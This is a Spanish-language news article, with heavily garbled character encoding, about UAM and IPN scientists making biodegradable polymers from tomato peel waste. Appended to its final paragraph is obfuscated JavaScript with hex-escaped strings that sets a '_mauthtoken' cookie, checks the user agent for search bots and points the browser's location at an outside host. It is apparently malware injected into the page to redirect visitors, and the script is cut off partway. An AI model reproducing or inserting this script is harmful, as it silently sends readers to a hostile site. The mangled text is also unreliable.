CIUDAD DE MA�XICO.- A partir de residuos agroindustriales de la cA?scara de jitomate, cientA�ficos de la Universidad AutA?noma Metropolitana (UAM) y del Instituto PolitA�cnico Nacional (IPN) desarrollan biopolA�meros, para sustituir a los plA?sticos tradicionales y resolver problemas como la contaminaciA?n.
En un comunicado, la instituciA?n seA�alA? que desde hace varios aA�os, un equipo de especialistas, conformado con el apoyo del antiguo Instituto de Ciencia y TecnologA�a del Distrito Federal, estudia las caracterA�sticas de la envoltura de este fruto.
El propA?sito es determinar si posee propiedades bioplA?sticas, que en las A?ltimas dA�cadas han sustituido a otros plA?sticos en mA?ltiples aplicaciones.
SeA�alA? que la disminuciA?n en las reservas y el aumento en los precios de los combustibles fA?siles han sido causa de un interA�s creciente en la bA?squeda de fuentes innovadoras de materia prima para la sA�ntesis de polA�meros.
Por esa razA?n, los a�?plA?sticos base bioa�? experimentaron un rA?pido crecimiento debido a los beneficios medioambientales y a su condiciA?n de recursos renovables.
El grupo de acadA�micos participantes explicA? que cada aA�o se producen toneladas de desechos vegetales, confinados en los tiraderos municipales a cielo abierto y cuyo tratamiento representa una problemA?tica de grandes dimensiones.
Lo anterior, sobre todo si se considera que sA?lo el desperdicio de jitomate ocupa 20 por ciento de invernaderos y centrales de abasto.
ESTUDIANTES DE IPN DESARROLLAN SISTEMA PARA CASA INTELIGENTE
Daniel Arrieta BA?ez, coordinador del proyecto, seA�alA? que el recubrimiento de estos residuos agroindustriales servirA�a para obtener monA?meros, aplicables en la sA�ntesis de polA�meros a travA�s de biocatA?lisis con lipasas mediante principios renovables.
En tanto que los compuestos logrados son biodegradables de uso posible en los sectores mA�dico y alimenticio, entre otras aplicaciones.
IndicA? que en la parte bA?sica a�?tenA�amos que saber cA?mo era la estructura de la cubierta de este fruto y cuA?les eran sus componentes para proponer un modelo que, una vez caracterizado, pudiera ser reconstruido de nuevoa�?.
Los plA?sticos estA?n en la naturaleza y a�?lo que hacemos es estudiarlos para ver cA?mo estA?n hechos y de alguna manera tratar de imitarlos con el fin de contribuir a resolver problemas como el de la contaminaciA?n, que nos agobia en estos dA�asa�?, detallA?.
Con ese objetivo fueron optimizados los procesos para conseguir el monA?mero principal de la cutA�cula del jitomate a��A?cido 10,16-dihidroxihexadecanoicoa�� permitiendo su recuperaciA?n en 45 por ciento.
Eso permite aplicarlo para producir biopolA�meros susceptibles de ser empleados como transportadores de nutracA�uticos o incorporarlo en plA?sticos convencionales para dotar A�stos de propiedades biodegradables adecuadas para el medio ambiente.
En este proyecto participan JosA� Campos TerA?n y Dolores Reyes Duarte, profesores del Departamento de Procesos y TecnologA�a de la Unidad Cuajimalpa, y Daniel Arrieta BA?ez y Mayra Beatriz GA?mez PatiA�o, cientA�ficos del Centro de Nanociencias y Micro y NanotecnologA�as.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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